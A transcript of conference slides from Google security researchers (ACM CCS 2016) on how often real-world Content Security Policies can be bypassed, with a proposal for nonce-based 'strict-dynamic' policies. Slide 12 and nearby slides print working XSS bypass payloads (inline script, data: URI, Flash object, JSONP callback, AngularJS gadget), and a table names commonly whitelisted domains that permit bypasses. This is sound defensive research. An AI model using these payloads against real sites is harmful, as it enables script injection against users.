Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ACM CCS 2016 - CSP Is Dead, Long Live CSP!

ACM CCS 2016 - CSP Is Dead, Long Live CSP!

Paper: https://research.google.com/pubs/pub45542.html

Content Security Policy is a web platform mechanism designed to mitigate cross-site scripting (XSS), the top security vulnerability in modern web applications. In this paper, we take a closer look at the practical benefits of adopting CSP and identify significant flaws in real-world deployments that result in bypasses in 94.72% of all distinct policies. We base our Internet-wide analysis on a search engine corpus of approximately 100 billion pages from over 1 billion hostnames; the result covers CSP deployments on 1,680,867 hosts with 26,011 unique CSP policies – the most comprehensive study to date. We introduce the security-relevant aspects of the CSP specification and provide an in-depth analysis of its threat model, focusing on XSS protections. We identify three common classes of CSP bypasses and explain how they subvert the security of a policy. We then turn to a quantitative analysis of policies deployed on the Internet in order to understand their security benefits. We observe that 14 out of the 15 domains most commonly whitelisted for loading scripts contain unsafe endpoints; as a consequence, 75.81% of distinct policies use script whitelists that allow attackers to bypass CSP. In total, we find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS. Finally, we propose the ’strict-dynamic’ keyword, an addition to the specification that facilitates the creation of policies based on cryptographic nonces, without relying on domain whitelists. We discuss our experience deploying such a nonce-based policy in a complex application and provide guidance to web authors for improving their policies.

Michele Spagnuolo

October 27, 2016

More Decks by Michele Spagnuolo

Other Decks in Technology


  1. CSP is Dead, Long Live CSP On the Insecurity of

    Whitelists and the Future of Content Security Policy Lukas Weichselbaum Michele Spagnuolo Sebastian Lekies Artur Janc ACM CCS, 2016, Vienna
  2. About Us We work in a special focus area of

    the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs. Michele Spagnuolo Senior Information Security Engineer Lukas Weichselbaum Senior Information Security Engineer
  3. Research Questions ◉ How is CSP used on the web?

    ◉ Do deployed CSPs protect against XSS? ◉ Do CSP whitelists work in practice? ◉ Is there a better way to effectively mitigate XSS?
  4. Recap: What is CSP? ◉ An HTTP header developers can

    use to lock down their web applications in various ways. ◉ A defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
  5. Recap: How does CSP work? Script injections (XSS) get blocked

    Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks inline script not allowed <script src="//yep.com/x.js"> ">'><script src="//attacker.com"> CSP blocks source not whitelisted CSP allows CSP allows
  6. Collecting CSPs & Bypasses WWW Google Index 100 Billion pages

    CSP Filter 1.6 Million Hosts with CSP CSP Dedupe 26,011 unique CSPs In addition to the CSPs, we also collected JSONP endpoints and Angular libraries (whitelist bypasses) JSONP Filter 8.8 Million JSONP endpoints Angular Filter 2.6 Million Angular libraries
  7. Normalize & de-duplicate CSPs ◉ Problem 1: CSP can have

    variable parts (e.g. nonces) ◉ Problem 2: Same CSP on thousands of hostnames ◦ Caused by off-the-shelf web applications ▪ e.g., message boards and e-commerce platforms ◦ De-duplication by hostname/CSP would have been strongly biased ◉ De-duplication based on the normalized CSP string
  8. Normalize & de-duplicate CSPs CSP Dedupe ◉ Normalization: ◦ Parse

    CSP, ◦ Replaced nonces and report URIs, with fixed placeholders, ◦ Order directives and directive values script-src 'self' 'nonce-xyz789' example.com; report-uri /csp/a2d0ad39-5d0e-40d4-81ce-e43cb07697b8; script-src 'nonce-abc123' 'self' example.com; report-uri /csp/97830f0f-d1df-4847-b98f-67a28d866731; script-src 'self' 'nonce-PLACEHOLDER' example.com; report-uri PLACEHOLDER; Normalize & de-dupe
  9. CSP Use Cases All Unique Policies This data set contains

    all unique CSP policies, both in report-only and enforcing mode. XSS Policies • enforced • at least one of: ◦ script-src ◦ object-src ◦ default-src Strict XSS Policies Like XSS Policies, not including unsafe directive values as: • 'unsafe-inline' • a URI scheme • the * wildcard 26,011 unique CSPs 86% 11%
  10. CSP Evaluation Assess whether a CSP policy can be bypassed

    to execute attacker-controlled scripts 3
  11. Evaluation of CSPs ◉ We only considered automatic & FP-free

    checks ◉ We assess if CSP can be bypassed (XSS) ◉ Checks: ◦ Usage of ’unsafe-inline’ in script-src ◦ Missing object-src ◦ Use of wildcards in whitelists ▪ E.g. script-src * http: https: data: ◦ Unsafe origin in whitelists ▪ JSONP-like endpoints ▪ Endpoints hosting Angular
  12. Some CSP Bypass Examples 'unsafe-inline' in script-src script-src 'self' 'unsafe-inline';

    object-src 'none'; CSP-Bypass: ">'><script>alert(1337)</script> URL scheme/wildcard in script-src script-src 'self' https: data: *; object-src 'none'; CSP-Bypass: ">'><script src=data:text/javascript,alert(13 37)></script> Missing or lax object-src script-src 'none'; CSP-Bypass: ">'><object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/aj ax/libs/yui/2.8.0r4/build/charts/ass ets/charts.swf?allowedDomain=\"})))} catch(e){alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> JSONP-like endpoint in whitelist script-src 'self' whitelisted.com; object-src 'none'; CSP-Bypass: ">'><script src="https://whitelisted.com/jsonp? callback=alert"> AngularJS library in whitelist script-src 'self' whitelisted.com; object-src 'none'; CSP-Bypass: "><script src="https://whitelisted.com/angularjs/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)> These bypasses can be verified in an automated and FP-free manner
  13. How secure are real-world CSP policies ? Unique CSPs Report

    Only Bypassable unsafe_inline Missing object_src Wildcard in script-src whitelist Unsafe domain in script-src whitelist Trivially Bypassable Total Unique CSPs 26011 2591 9.96% 21947 84.38% 3131 12.04% 5753 22.12% 19719 75.81% 24637 94.72% XSS Policies 22425 0 0% 19652 87.63% 2109 9.4% 4816 21.48% 17754 79.17% 21232 94.68% Strict XSS Policies 2437 0 0% 0 0% 348 14.28% 0 0% 1015 41.65% 1244 51.05%
  14. Do CSP whitelists work in practice ? The median policy

    has 12 distinct whitelisted hosts (in script-src). At the median of 12 entries, we managed to bypass 94.8 % of all policies!
  15. Do CSP whitelists work in practice ? Top 10 hosts

    for whitelist bypasses are sufficient to bypass 68% of all unique CSPs!
  16. Do CSP whitelists work in practice ? ◉ Problems due

    to 'unsafe-inline', missing object-src, and wildcards could potentially be fixed ◉ Stop whitelisting domains that allow to bypass CSP is a much harder problem: ◦ Can't use CDNs ◦ Can't use widgets (e.g. Google Maps) ◦ ...
  17. Effects of 'strict-dynamic' ◉ Nonce-only not feasible in practice (libraries,

    widgets) ◉ Grant trust transitively via a one-use token (nonce) instead of listing whitelisted origins ◉ If present in a script-src or default-src directive, together with a nonce and/or hash ◦ discard whitelists (for backward-compatibility) ◦ Allow JS execution triggered by non-parser-inserted active content (dynamically generated).
  18. 'strict-dynamic' propagates trust to non-parser-inserted JS <script nonce="r4nd0m"> var s

    = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.write(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.body.innerHTML = s; </script>
  19. How to adopt strict CSP ? 1. Add nonces to

    <script> elements 2. Refactor inline event handlers and javascript: URIs 3. Serve the following Content-Security-Policy header: script-src 'nonce-{random}' 'unsafe-inline''strict-dynamic' https: http:; object-src 'none'; Detailed instructions on https://csp.withgoogle.com
  20. Advantages of a strict CSP ? ◉ <script> tags injected

    via XSS will be blocked, because of missing nonce ◉ No host/path whitelists necessary! ◦ Less breakages ◦ No need to go through the painful process of crafting and maintaining a whitelist → every product uses the same CSP! ◉ No bypasses because of JSONP-like endpoints on external domains
  21. Does it work in practice ? ◉ Yes! 'strict-dynamic' is

    already served to millions of users ◉ Complex web applications with 'strict-dynamic': ◦ Google Photos, Google Cloud Console, Google Wallet, Google History Chrome Web Store, Google Careers Search...
  22. Research Questions ◉ How is CSP used on the web?

    ◉ Do deployed CSPs protect against XSS? ◉ Do CSP whitelists work in practice? ◉ Is there a better way to effectively mitigate XSS? No! >94% automatically bypassable No! Top 10 domains sufficient to bypass 68% CSPs Mostly to mitigate risk of XSS Nonces/hashes + 'strict-dynamic'
  23. Recap: What is XSS? String error = Request.getParameter("error"); response.write(“<p><h1>” +

    error + “</h1></p>”); ◉ Attacker controlled scripts executing in the context of a user GET /errorPage?error=<script>alert(1)</script> <p><h1><script>alert(1)</script></h1></p>
  24. Most commonly whitelisted domains Count Origin XSS bypass JSONP bypass

    Angular bypass 'object-src' bypass 8825 www.google-analytics.com yes, if 'unsafe-eval' yes, if 'unsafe-eval' no no 7201 *.googleapis.com yes yes yes yes 6307 *.google-analytics.com yes, if 'unsafe-eval' yes, if 'unsafe-eval' no no 5817 *.google.com yes yes no no 5475 *.yandex.ru yes yes no no 5146 *.gstatic.com yes no yes no 5076 vk.com yes yes no yes 4728 mc.yandex.ru yes yes no no 4423 yandex.st yes no yes no 4189 ajax.googleapis.com yes yes yes yes 3829 *.googlesyndication.com yes yes no no 3621 *.doubleclick.net yes yes no no 3617 yastatic.net yes no yes no 2959 connect.facebook.net no no no no 2809 www.google.com yes yes no no